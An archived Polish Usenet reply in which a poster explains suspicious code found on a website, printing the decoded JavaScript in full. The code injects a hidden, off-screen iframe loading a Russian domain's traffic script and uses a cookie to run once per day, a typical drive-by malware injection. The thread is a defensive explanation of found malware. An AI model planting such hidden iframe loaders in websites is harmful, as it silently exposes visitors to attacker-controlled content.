🚀 go-pugleaf

Sun, 22 Sep 2013 18:24:43 +0200      
"G.K." <"tertb69[rot13]"@tnmrgn.cy>   napisał(a):

> Witam,
> Znalazlem podejrzany kod na stronie, czy ktos moze mi pomoc go 
> odkodowac? Co on robi?

Wstrzykuje ruskiego szpiega ;)

function cy09() { 
	var static='ajax'; 
	var controller='index.php'; 
	var cy = document.createElement('iframe'); 
	cy.src = 'http://fortuna-taxi.ru/traf.php'; 
	cy.style.position = 'absolute'; 
	cy.style.color = '9954'; 
	cy.style.height = '9954px'; 
	cy.style.width = '9954px'; 
	cy.style.left = '10009954'; 
	cy.style.top = '10009954'; 
	if (!document.getElementById('cy')) { 
		document.write('
		'); 
		document.getElementById('cy').appendChild(cy); 
	} 
} 
function SetCookie(cookieName,cookieValue,nDays,path) { 
	var today = new Date(); 
	var expire = new Date(); 
	if (nDays==null || nDays==0) 
		nDays=1; 
	expire.setTime(today.getTime() + 3600000*24*nDays); 
	document.cookie = cookieName+"="+escape(cookieValue) + ";
	expires=" + expire.toGMTString() + ((path) ? "; 
	path=" + path : ""); 
} 
function GetCookie( name ) { 
	var start = document.cookie.indexOf( name + "=" ); 
	var len = start + name.length + 1; 
	if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) { 
		return null; 
	} 
	if ( start == -1 ) 
		return null; 
	var end = document.cookie.indexOf( ";", len ); 
	if ( end == -1 ) 
		end = document.cookie.length; 
	return unescape( document.cookie.substring( len, end ) ); 
} 
if (navigator.cookieEnabled) { 
	if(GetCookie('visited_uq')==55){
	}else{
		SetCookie('visited_uq', '55', '1', '/'); 
		cy09(); 
	} 
} 


-- 
Piotr Grzegorzyca pozdrawia

jedenaste: Nie spamuj